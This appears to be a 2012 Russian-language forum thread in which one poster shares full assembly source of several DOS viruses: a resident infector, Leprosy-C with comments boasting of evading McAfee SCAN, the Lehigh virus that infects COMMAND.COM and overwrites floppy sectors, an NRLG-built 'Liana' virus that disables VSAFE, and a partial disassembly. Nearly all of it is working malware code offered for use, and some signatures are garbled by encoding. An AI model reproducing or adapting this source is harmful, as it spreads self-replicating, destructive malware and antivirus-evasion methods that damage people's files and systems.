cmp ax,0801h
jc dir1
sub ax,400h
mov es:[bx+1dh],ax
dir1:
pop es
pop bx
pop ax
iret
int24:
mov al,3
iret
Dos:
pushf
call dword ptr cs:[4]
ret
moveFP:
xor cx,cx
mov ax,4200h
call Dos
ret
exec:
push ax
push bx
mov byte ptr cs:[14h],0
mov ax,3d00h
call dos
mov bx,ax
mov ah,3eh
int 21h
pop bx
pop ax
intendjmp:
jmp short intend
close:
or byte ptr cs:[14h],0
jnz intendjmp
push cx
push dx
push di
push es
push ax
push bx
call setaddr
call setint
mov ax,1220h
int 2fh
jc closequit
mov ax,1216h
mov bl,es:[di]
xor bh,bh
int 2fh
mov ax,es:[di+11h]
mov cs:[2],ax
mov ax,es:[di+0dh]
and al,0f8h
mov cs:[12h],ax
mov ax,es:[di+0fh]
mov cs:[10h],ax
cmp word ptr es:[di+29h],'MO'
jne closequit
cmp byte ptr es:[di+28h],'C'
jne closequit
cmp cs:[2],0FA00h
jnc closequit
mov al,20h
xchg al,es:[di+4]
mov ah,2
xchg es:[di+2],ah
pop bx
push bx
push ax
call infect
pop ax
mov es:[di+4],al
mov es:[di+2],ah
mov cx,cs:[12h]
jc close1
or cl,1fh
and cl,0feh
close1:
mov dx,cs:[10h]
mov ax,5701h
call Dos
closequit:
pop bx
pop ax
pop es
pop di
pop dx
pop cx
call dos
call setint
retf 02
setaddr:
mov ah,13h
int 2fh
mov cs:[8d],bx
mov cs:[10d],es
int 2fh
mov cs:[12d],offset int24-offset begin
mov cs:[14d],cs
ret
setint:
push ax
push si
push ds
pushf
cli
cld
xor ax,ax
mov ds,ax
mov si,13h*4
lodsw
xchg ax,cs:[8]
mov ds:[si-2],ax
lodsw
xchg ax,cs:[10d]
mov ds:[si-2],ax
mov si,24h*4
lodsw
xchg ax,cs:[12d]
mov ds:[si-2],ax
lodsw
xchg ax,cs:[14d]
mov ds:[si-2],ax
popf
pop ds
pop si
pop ax
ret
msg:
db 'The leech live ...',0
db 'April 1991 The Topler.',0

org 0F00h

int 20h

code ends
end start


Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... В зазор между двумя эпохами может провалиться несколько поколений.

John Zaicev

unread,
May 18, 2012, 2:16:27 AM5/18/12
to
[√] Привет _All_ !

; <LEPROSYB.ASM> - Leprosy-B Virus Source
; Copy-ya-right (c) 1990 by PCM2.
;
; This file is the source code to the Leprosy-B virus. It should
; be assembled with an MASM-compatible assembler; it has been tested
; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
; It should be made into a .COM file before executing, with either
; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
;
; This program has the potential to permanently destroy executable
; images on any disk medium. Other modifications may have been made
; subsequent to the original release by the author, either benign,
; or which could result in further harm should this program be run.
; In any case, the author assumes no responsibility for any damage
; caused by this program, incidental or otherwise. As a precaution,
; this program should not be turned over to irresponsible hands...
; (unlike people like us, that is).
;
;;-=р°+?Ы?+°р=-=р°+?Ы?+°р=-=р°+?Ы?+°р=-=р°+?Ы?+°р=-=р°+?Ы?+°р=-=р°+?Ы?+°р=-
;;
;; <LEPROSYC.ASM> - This virus is not really Leprosy-B. It is, in
;; fact, ALMOST the same. When I encountered the
;; source code and assembled it, I found, obviously
;; to my disappointment, that SCAN v77 could find
;; it. Since it is a self-encrypting virus, I knew
;; EXACTLY how to fix this problem (after all,
;; being part of McPhee's programs is a sure way to
;; know that your virus has been a big hit, but it
;; also means that it will soon meet a terrible end.
;; Presented with such a sad situation, I decided I
;; would modify the virus to give it one more shot
;; at the outside world. Not only that, but I will
;; make TWO new versions. This one, in particular,
;; will preserve the traditional length of 666, and
;; will only have a slight modification. You see,
;; since the virus encrypts itself, McPhee must go
;; on 1 or both of two paths. He must either use
;; the whole non-encrypted portion as an ID string,
;; or he must use the file offset where the value
;; for decrypting is normally stored, XOR it with
;; the rest of the program (this is how it encrypts
;; and decrypts itself), and then try to identify
;; the decrypted code as the virus. By changing
;; where the encryption value is stored in the non-
;; encrypted portion and putting a zero there in-
;; stead, (along with altering the primary instruc-
;; tions slightly), I have made it undetectable by
;; SCAN, despite the fact that it is (in all other
;; aspects) the same damn thing.
;; Have fun!
;; The BOOT SECTOR Infector...
;;
;; NOTE: Also, (in case you haven't already noticed) all of the changes
;; I make to this program will have a double semicolon (;;) on
;; them somewhere. This is to reinforce the fact that I DID
;; NOT do the original work on this virus. That credit is left
;; appropriately to PCM2. And I respect his brilliance in its
;; coding (especially the encrypt/decrypt portion!) <grin!>
;; L8r peepz!
;;



title "Leprosy-C Virus by PCM2, August 1990"
;; With additional modifications by TBSI, June 1991


cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
virus_size equ 666 ; Size of the virus file
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of default disk transfer area
datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute


code segment 'code' ; Open code segment
assume cs:code,ds:code ; One segment for both code & data
org code_start ; Start code image after PSP

;---------------------------------------------------------------------
; All executable code is contained in boundaries of procedure "main".
; The following code, until the start of "virus_code", is the non-
; encrypted CMT portion of the code to load up the real program.
;---------------------------------------------------------------------
main proc near ; Code execution begins here
call encrypt_decrypt ; Decrypt the real virus code
jmp random_mutation ; Put the virus into action
db 0 ;; This line inserted by TBSI. If
;; McPhee uses the second technique
;; described in my speech, then it
;; will find the zero and consider
;; it to be the value it wants, even
;; though using a zero will make it
;; do absolutely NOTHING!
encrypt_val db 00h ; Hold value to encrypt by here

; ---------- Encrypt, save, and restore the virus code -----------
infect_file:
mov bx,handle ; Get the handle
push bx ; Save it on the stack
call encrypt_decrypt ; Encrypt most of the code
pop bx ; Get back the handle
nop ;; Added by TBSI to through of McPhee
mov cx,virus_size ; Total number of bytes to write
mov dx,code_start ; Buffer where code starts in memory
mov ah,40h ; DOS write-to-handle service
int 21h ; Write the virus code into the file
call encrypt_decrypt ; Restore the code as it was
ret ; Go back to where you came from

; --------------- Encrypt or decrypt the virus code ----------------
encrypt_decrypt:
mov bx,offset virus_code ; Get address to start encrypt/decrypt
xor_loop: ; Start cycle here
mov ah,[bx] ; Get the current byte
xor ah,encrypt_val ; Engage/disengage XOR scheme on it
mov [bx],ah ; Put it back where we got it
inc bx ; Move BX ahead a byte
nop ;; Added by TBSI to through of McPhee
cmp bx,offset virus_code+virus_size ; Are we at the end?
jle xor_loop ; If not, do another cycle
ret ; and go back where we came from

;-----------------------------------------------------------------------
; The rest of the code from here on remains encrypted until run-time,
; using a fundamental XOR technique that changes via CMT.
;-----------------------------------------------------------------------
virus_code:

;----------------------------------------------------------------------------
; All strings are kept here in the file, and automatically encrypted.
; Please don't be a lamer and change the strings and say you wrote a virus.
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
; changes, even when the strings stay the same.
;----------------------------------------------------------------------------
exe_filespec db "*.EXE",0
com_filespec db "*.COM",0
newdir db "..",0
fake_msg db cr,lf,"Program too big to fit in memory$"
virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted
with$"
virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought
by$"
virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing
Cybernetic$"
virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2
08/90.$"
compare_buf db 20 dup (?) ; Buffer to compare files in
files_found db ?
files_infected db ?
orig_time dw ?
orig_date dw ?
orig_attr dw ?
handle dw ?
success db ?

random_mutation: ; First decide if virus is to mutate
mov ah,2ch ; Set up DOS function to get time
int 21h
cmp encrypt_val,0 ; Is this a first-run virus copy?
je install_val ; If so, install whatever you get.
cmp dh,15 ; Is it less than 16 seconds?
jg find_extension ; If not, don't mutate this time
install_val:
cmp dl,0 ; Will we be encrypting using zero?
je random_mutation ; If so, get a new value.
mov encrypt_val,dl ; Otherwise, save the new value
find_extension: ; Locate file w/ valid extension
mov files_found,0 ; Count infected files found
mov files_infected,4 ; BX counts file infected so far
mov success,0
find_exe:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset exe_filespec ; Check for .EXE extension first
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je find_com ; If not, nothing more to do
call find_healthy ; Otherwise, try to find healthy .EXE
find_com:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset com_filespec ; Check for .COM extension now
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je chdir ; If not, step back a directory
call find_healthy ; Otherwise, try to find healthy .COM
chdir: ; Routine to step back one level
mov dx,offset newdir ; Load DX with address of pathname
mov ah,3bh ; Change directory DOS service
int 21h
dec files_infected ; This counts as infecting a file
jnz find_exe ; If we're still rolling, find another
jmp exit_virus ; Otherwise let's pack it up
find_healthy:
mov bx,dta ; Point BX to address of DTA
mov ax,[bx]+attribute ; Get the current file's attribute
mov orig_attr,ax ; Save it
mov ax,[bx]+timestamp ; Get the current file's time stamp
mov orig_time,ax ; Save it
mov ax,[bx]+datestamp ; Get the current file's data stamp
mov orig_date,ax ; Save it
mov dx,dta+filename ; Get the filename to change attribute
mov cx,0 ; Clear all attribute bytes
mov al,1 ; Set attribute sub-function
mov ah,43h ; Call DOS service to do it
int 21h
mov al,2 ; Set up to open handle for read/write
mov ah,3dh ; Open file handle DOS service
int 21h
mov handle,ax ; Save the file handle
mov bx,ax ; Transfer the handle to BX for read
mov cx,20 ; Read in the top 20 bytes of file
mov dx,offset compare_buf ; Use the small buffer up top
mov ah,3fh ; DOS read-from-handle service
int 21h
mov bx,offset compare_buf ; Adjust the encryption value
mov ah,encrypt_val ; for accurate comparison
mov [bx+6],ah
mov si,code_start ; One array to compare is this file
mov di,offset compare_buf ; The other array is the buffer
mov ax,ds ; Transfer the DS register...
mov es,ax ; ...to the ES register
cld
repe cmpsb ; Compare the buffer to the virus
jne healthy ; If different, the file is healthy!
call close_file ; Close it up otherwise
inc files_found ; Chalk up another fucked up file
continue_search:
mov ah,4fh ; Find next DOS function
int 21h ; Try to find another same type file
cmp ax,12h ; Are there any more files?
je no_more_found ; If not, get outta here
jmp find_healthy ; If so, try the process on this one!
no_more_found:
ret ; Go back to where we came from
healthy:
mov bx,handle ; Get the file handle
mov ah,3eh ; Close it for now
int 21h
mov ah,3dh ; Open it again, to reset it
mov dx,dta+filename
mov al,2
int 21h
mov handle,ax ; Save the handle again
call infect_file ; Infect the healthy file
call close_file ; Close down this operation
inc success ; Indicate we did something this time
dec files_infected ; Scratch off another file on agenda
jz exit_virus ; If we're through, terminate
jmp continue_search ; Otherwise, try another
ret
close_file:
mov bx,handle ; Get the file handle off the stack
mov cx,orig_time ; Get the date stamp
mov dx,orig_date ; Get the time stamp
mov al,1 ; Set file date/time sub-service
mov ah,57h ; Get/Set file date and time service
int 21h ; Call DOS
mov bx,handle
mov ah,3eh ; Close handle DOS service
int 21h
mov cx,orig_attr ; Get the file's original attribute
mov al,1 ; Instruct DOS to put it back there
mov dx,dta+filename ; Feed it the filename
mov ah,43h ; Call DOS
int 21h
ret
exit_virus:
cmp files_found,6 ; Are at least 6 files infected?
jl print_fake ; If not, keep a low profile
cmp success,0 ; Did we infect anything?
jg print_fake ; If so, cover it up
mov ah,09h ; Use DOS print string service
mov dx,offset virus_msg1 ; Load the address of the first line
int 21h ; Print it
mov dx,offset virus_msg2 ; Load the second line
int 21h ; (etc)
mov dx,offset virus_msg3
int 21h
mov dx,offset virus_msg4
int 21h
jmp terminate
print_fake:
mov ah,09h ; Use DOS to print fake error message
mov dx,offset fake_msg
int 21h
terminate:
mov ah,4ch ; DOS terminate process function
int 21h ; Call DOS to get out of this program

filler db 8 dup (90h) ; Pad out the file length to 666 bytes

main endp
code ends
end main


Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Семь раз отпей , один раз отлей.

John Zaicev

unread,
May 18, 2012, 2:16:14 AM5/18/12
to
[–] ًزة×إش _All_ !

page 65,132
title The 'Lehigh' Virus
; ¥                                                                          ¨
; ، British Computer Virus Research Centre ،
; ، 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England ،
; ، Telephone: Domestic 0273-26105, International +44-273-26105 ،
; ، ،
; ، The 'Lehigh' Virus ،
; ، Disassembled by Joe Hirst, July 1989 ،
; ، ،
; ، Copyright (c) Joe Hirst 1989. ،
; ، ،
; ، This listing is only to be made available to virus researchers ،
; ، or software writers on a need-to-know basis. ،
; «                                                                          ®

; The disassembly has been tested by re-assembly using MASM 5.0.

CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE

; Interrupt 21H routine

BP0010: PUSH AX
PUSH BX
CMP AH,4BH ; Load function?
JE BP0020 ; Branch if yes
CMP AH,4EH ; Find file file?
JE BP0020 ; Branch if yes
JMP BP0170 ; Pass interrupt on

; Load or find file function

BP0020: MOV BX,DX ; Get pathname pointer
CMP BYTE PTR [BX+1],':' ; Is a disk specified?
JNE BP0030 ; Branch if not
MOV AL,[BX] ; Get disk letter
JMP BP0040

; Is there a COMMAND.COM on disk?

BP0030: MOV AH,19H ; Get current disk function
INT 44H ; DOS service (diverted INT 21H)
ADD AL,'a' ; Convert to letter
BP0040: PUSH DS
PUSH CX
PUSH DX
PUSH DI
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV BX,OFFSET PATHNM ; Address pathname
MOV [BX],AL ; Store disk letter in pathname
MOV DX,BX ; Move pathname address
MOV AX,3D02H ; Open handle (R/W) function
INT 44H ; DOS service (diverted INT 21H)
JNB BP0050 ; Branch if no error
JMP BP0160 ; Restore registers and terminate

; Is COMMAND.COM infected?

BP0050: MOV BX,AX ; Move file handle
MOV AX,4202H ; Move file pointer function (EOF)
XOR CX,CX ; \ No offset
MOV DX,CX ; /
INT 44H ; DOS service (diverted INT 21H)
MOV DX,AX ; Copy file length
MOV FILELN,AX ; Save file length
SUB DX,2 ; Address last word of file
MOV AX,4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV DX,OFFSET BUFFER ; Address read buffer
MOV CX,2 ; Length to read
MOV AH,3FH ; Read handle function
INT 44H ; DOS service (diverted INT 21H)
CMP WORD PTR BUFFER,65A9H ; Is file infected?
JNE BP0060 ; Branch if not
JMP BP0080

; Infect COMMAND.COM

BP0060: XOR DX,DX ; \ No offset
MOV CX,DX ; /
MOV AX,4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV CX,3 ; Length to read
MOV DX,OFFSET BUFFER ; Address read buffer
MOV DI,DX ; Copy address
MOV AH,3FH ; Read handle function
INT 44H ; DOS service (diverted INT 21H)
MOV AX,[DI+1] ; Get displacement from initial jump
ADD AX,0103H ; Convert to address for COM file
MOV ENTPTR,AX ; Save file entry address
MOV DX,FILELN ; Get file length
SUB DX,OFFSET ENDADR ; Subtract length of virus
DEC DX ; ...and one more
MOV [DI],DX ; Put offset into jump instruction
XOR CX,CX ; Clear high offset for move
MOV AX,4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV AL,INFCNT ; Get infection count
PUSH AX ; Preserve infection count
MOV BYTE PTR INFCNT,0 ; Set infection count to zero
MOV CX,OFFSET ENDADR ; \ Get length of virus
INC CX ; /
XOR DX,DX ; Address start of virus
MOV AH,40H ; Write handle function
INT 44H ; DOS service (diverted INT 21H)
POP AX ; Recover infection count
MOV INFCNT,AL ; Restore original infection count
XOR CX,CX ; \ Address second byte of program
MOV DX,1 ; /
MOV AX,4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV AX,[DI] ; Get virus offset
ADD AX,OFFSET BP0180 ; Add entry point
SUB AX,3 ; Subtract length of jump instruction
MOV [DI],AX ; Replace offset
MOV DX,DI ; Address stored offset
MOV CX,2 ; Length to write
MOV AH,40H ; Write handle function
INT 44H ; DOS service (diverted INT 21H)
INC BYTE PTR INFCNT ; Increment infection count
CMP BYTE PTR INFCNT,4 ; Have we reached target?
JB BP0070 ; Branch if not
JMP BP0110 ; Trash disk

; Is disk A or B?

BP0070: MOV BYTE PTR N_AORB,0 ; Set off "not A or B" switch
CMP BYTE PTR CURDSK,2 ; Is current disk A or B?
JB BP0080 ; Branch if yes
MOV BYTE PTR N_AORB,1 ; Set on "not A or B" switch
BP0080: MOV AH,3EH ; Close handle function
INT 44H ; DOS service (diverted INT 21H)
CMP BYTE PTR N_AORB,1 ; Is "not A or B" switch on?
JE BP0090 ; Branch if yes
JMP BP0160 ; Restore registers and terminate

; Disk not A or B

BP0090: MOV BYTE PTR N_AORB,0 ; Set off "not A or B" switch
MOV BX,OFFSET PATHNM ; Address pathname
MOV AL,CURDSK ; Get current disk
ADD AL,'a' ; Convert to letter
MOV [BX],AL ; Store letter in pathname
MOV DX,BX ; Move pathname address
MOV AX,3D02H ; Open handle (R/W) function
INT 44H ; DOS service (diverted INT 21H)
JNB BP0100 ; Branch if no error
JMP BP0160 ; Restore registers and terminate

; Set infection count same as in current program

BP0100: MOV BX,AX
MOV AX,4202H ; Move file pointer function (EOF)
XOR CX,CX ; \ No offset
MOV DX,CX ; /
INT 44H ; DOS service (diverted INT 21H)
MOV DX,AX ; \ Address back to infection count
SUB DX,7 ; /
MOV AX,4200H ; Move file pointer function (start)
INT 44H ; DOS service (diverted INT 21H)
MOV CX,1 ; Length to write
MOV DX,OFFSET INFCNT ; Address infection count
MOV AH,40H ; Write handle function
INT 44H ; DOS service (diverted INT 21H)
MOV AH,3EH ; Close handle function
INT 44H ; DOS service (diverted INT 21H)
JMP BP0160 ; Restore registers and terminate

; Trash disk

BP0110: MOV AL,CURDSK ; Get current disk
CMP AL,2 ; Is disk A or B?
JNB BP0150 ; Branch if not
MOV AH,19H ; Get current disk function
INT 44H ; DOS service (diverted INT 21H)
MOV BX,OFFSET PATHNM ; Address pathname
MOV DL,[BX] ; Get drive letter from pathname
CMP DL,'A' ; Is drive letter 'A'?
JE BP0120 ; Branch if yes
CMP DL,'a' ; Is drive letter 'a'?
JE BP0120 ; Branch if yes
CMP DL,'b' ; Is drive letter 'b'?
JE BP0130 ; Branch if yes
CMP DL,'B' ; Is drive letter 'B'?
JE BP0130 ; Branch if yes
JMP BP0160 ; Restore registers and terminate

; Drive A

BP0120: MOV DL,0 ; Set drive A
JMP BP0140

; Drive B

BP0130: MOV DL,1 ; Set drive B
BP0140: CMP AL,DL ; Is this the same as current?
JNE BP0150 ; Branch if not
JMP BP0160 ; Restore registers and terminate

; Write lump of BIOS to floppy disk

BP0150: MOV SI,0FE00H ; \ Address BIOS (?)
MOV DS,SI ; /
MOV CX,0020H ; Write 32 sectors
MOV DX,1 ; Start at sector one
INT 26H ; Absolute disk write
POPF
MOV AH,9 ; Display string function
MOV DX,1840H
INT 44H ; DOS service (diverted INT 21H)
BP0160: POP DI
POP DX
POP CX
POP DS
BP0170: POP BX
POP AX
JMP CS:INT_21 ; Branch to original Int 21H

; Original Int 21H vector

INT_21 EQU THIS DWORD
DW 138DH ; Int 21H offset
DW 0295H ; Int 21H segment

; Entry point for infected program

BP0180: CALL BP0190 ; \ Get current address
BP0190: POP SI ; /
SUB SI,3 ; Address back to BP0180
MOV BX,SI ; \ Address of virus start
SUB BX,OFFSET BP0180 ; /
PUSH BX ; Save address of virus start
ADD BX,OFFSET FILELN ; Address file length
MOV AH,19H ; Get current disk function
INT 21H ; DOS service
MOV [BX-1],AL ; Save current disk
MOV AX,[BX] ; Get file length
ADD AX,0100H ; Add PSP length
MOV CL,4 ; \ Convert to paragraphs
SHR AX,CL ; /
INC AX ; Allow for remainder
MOV BX,AX ; Copy paragraphs to keep
MOV AH,4AH ; Set block function
INT 21H ; DOS service
JNB BP0200 ; Branch if no error
JMP BP0220 ; Pass control to host

; Allocate memory for virus

BP0200: MOV CL,4 ; Bits to move
MOV DX,OFFSET ENDADR ; Length of virus
SHR DX,CL ; Convert to paragraphs
INC DX ; Allow for remainder
MOV BX,DX ; Copy paragraphs for virus
MOV AH,48H ; Allocate memory function
INT 21H ; DOS service
JNB BP0210 ; Branch if no error
JMP BP0220 ; Pass control to host

; Install virus in memory

BP0210: PUSH ES
PUSH AX ; Preserve allocated memory segment
MOV AX,3521H ; Get Int 21H function
INT 21H ; DOS service
MOV [SI-4],BX ; Save Int 21H offset
MOV [SI-2],ES ; Save Int 21H segment
POP ES ; Recover allocated memory segment
PUSH SI
SUB SI,OFFSET BP0180 ; Address back to start of virus
XOR DI,DI ; Target start of new area
MOV CX,OFFSET ENDADR ; \ Length of virus
INC CX ; /
REPZ MOVSB ; Copy virus to new area
POP SI
PUSH DS
MOV DX,[SI-4] ; Get Int 21H offset
MOV AX,[SI-2] ; \ Set DS to Int 21H segment
MOV DS,AX ; /
MOV AX,2544H ; Set Int 44H function
INT 21H ; DOS service
PUSH ES ; \ Set DS to ES
POP DS ; /
XOR DX,DX ; Interrupt 21H routine (BP0010)
MOV AX,2521H ; Set Int 21H function
INT 44H ; DOS service (diverted INT 21H)
POP DS
POP ES
BP0220: POP BX
PUSH ENTPTR[BX] ; Push COM file entry address
RET ; ...and return to it

PATHNM DB 'b:\command.com', 0 ; Pathname
BUFFER DB 7FH, 58H, 0BH, 0, 0 ; Read buffer
ENTPTR DW 0CB0H ; File entry address
N_AORB DB 0 ; "Not A or B" switch
INFCNT DB 0 ; Infection count
DB 0
CURDSK DB 0 ; Current disk
FILELN DW 5AAAH ; File length
DW 65A9H ; Infection indicator

ENDADR EQU $-1

CODE ENDS

END

; €€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
; €€€€€€€€€€€€€€€€€€€€> and Remember Don't Forget to Call <€€€€€€€€€€€€€€€€
; €€€€€€€€€€€€> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <€€€€€€€€€€
; €€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€



Hص ر ×زدؤإ ×سإ سثءعءج... يدضإش إفإ قشد ؤدآء×جہ ذدشدح...
[–] ًدثء _All_ !

ژ،ڈ،پ،ژ،پپ،، DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2،5080ژ244،0 FTP://87.224.224.182

... ïخ خإس عخءحر ×ظسدثد - خإ بدشإج إاد ×ةؤإشط.

John Zaicev

unread,
May 18, 2012, 5:05:05 PM5/18/12
to
[–] πΙΧΕΤ _All_ !

;‚€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€ƒ
; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR
; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ
; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR
; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ
; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR
;„€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€…
; Liana Virus, created by Gehenna on 20 May 96!

.286
code segment
assume cs:code,ds:code
org 100h

start: CALL NEXT

NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************

cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------

sub byte ptr [di],07ch
not byte ptr [di]
xor word ptr [di],03c11h
xor byte ptr [di],069h
xor byte ptr [di],0ch
xor byte ptr [di],0a2h
not word ptr [di]
add word ptr [di],05875h
inc word ptr [di]
add byte ptr [di],049h
add word ptr [di],0ecb8h
xor byte ptr [di],0f8h
add byte ptr [di],083h
not word ptr [di]
add byte ptr [di],02h
call ANTI_V
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db 'N.R.L.G. by Gehenna'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
push cs ;
pop ds ;
sub byte ptr [di],02h
not word ptr [di]
sub byte ptr [di],083h
xor byte ptr [di],0f8h
sub word ptr [di],0ecb8h
sub byte ptr [di],049h
dec word ptr [di]
sub word ptr [di],05875h
not word ptr [di]
xor byte ptr [di],0a2h
xor byte ptr [di],0ch
xor byte ptr [di],069h
xor word ptr [di],03c11h
not byte ptr [di]
add byte ptr [di],07ch
;---------------------------------
action: ;Call label
MOV AH,2AH ;
INT 21H ;get date
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
JE cont ;nop! fuck ret
cmp byte ptr cs:[action_dia+bp],32 ;
jne no_day ;
cont: ;
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
je set ;
cmp byte ptr cs:[action_mes+bp],13 ;
jne NO_DAY ;nop! fuck ret
set: ;
mov AH,9 ;yeah!!
MOV DX,OFFSET PAO ;print my text!
INT 21H ;now!
INT 20H ;an finsh te program
NO_DAY: ;label to incorrect date
ret ;return from call
;---------------------------------


PAO:
DB 10,13,'Dedicated to Liana. 20 May 96','$'

;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------

;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus
size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************

action_dia Db 014H ;day for the action
action_mes Db 05H ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start


HΥ Ρ ΧΟΔΕ ΧΣΕ ΣΛΑΪΑΜ... νΟΦΕΤ ΕέΕ ήΤΟ ΔΟΒΑΧΜΐ ΠΟΤΟΝ...
[–] πΟΛΑ _All_ !

΅ ΅ ΅ ΅ ΅΅ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2΅5080 244΅0 FTP://87.224.224.182

... λΟΞΕΓ - ΤΕΜΥ ΧΕΞΕΓ.

John Zaicev

unread,
May 18, 2012, 5:05:26 PM5/18/12
to
[–] ًزة×إش _All_ !

CS:0110 EB79 JMP 018B
CS:0112 90 NOP
;
; The program's original infomation is stored between these sections
;
CS:018B 2E CS:
CS:018C 803E090201 CMP BYTE PTR [0209],01 ; .EXE file ?
CS:0191 7403 JZ 0196
CS:0193 1F POP DS
CS:0194 59 POP CX
CS:0195 5B POP BX
CS:0196 50 PUSH AX
CS:0197 53 PUSH BX
CS:0198 51 PUSH CX
CS:0199 52 PUSH DX
CS:019A 1E PUSH DS
CS:019B 06 PUSH ES
CS:019C 1E PUSH DS
CS:019D 0E PUSH CS
CS:019E 1F POP DS
CS:019F E8CD00 CALL 026F ; Installation check
CS:01A2 3DFFFF CMP AX,FFFF
CS:01A5 741A JZ 01C1
CS:01A7 E8D700 CALL 0281 ; Get vector 21h
CS:01AA 07 POP ES
CS:01AB 06 PUSH ES
CS:01AC 8CC0 MOV AX,ES
CS:01AE 48 DEC AX
CS:01AF 8ED8 MOV DS,AX
CS:01B1 E8DC00 CALL 0290 ; Adjust MCB
CS:01B4 8EC0 MOV ES,AX
CS:01B6 0E PUSH CS
CS:01B7 1F POP DS
CS:01B8 E8EC00 CALL 02A7 ; Move to Upper Memory
CS:01BB E8F400 CALL 02B2 ; Set vector 21h
CS:01BE E80101 CALL 02C2 ; Set installation flag
CS:01C1 2E CS:
CS:01C2 803E090201 CMP BYTE PTR [0209],01 ; .EXE file ?
CS:01C7 7417 JZ 01E0
CS:01C9 07 POP ES
CS:01CA 0E PUSH CS
CS:01CB 1F POP DS
CS:01CC E80901 CALL 02D8 ; Decrypt header
CS:01CF E81901 CALL 02EB ; Restore header
CS:01D2 07 POP ES
CS:01D3 1F POP DS
CS:01D4 5A POP DX
CS:01D5 59 POP CX
CS:01D6 5B POP BX
CS:01D7 58 POP AX
CS:01D8 1E PUSH DS
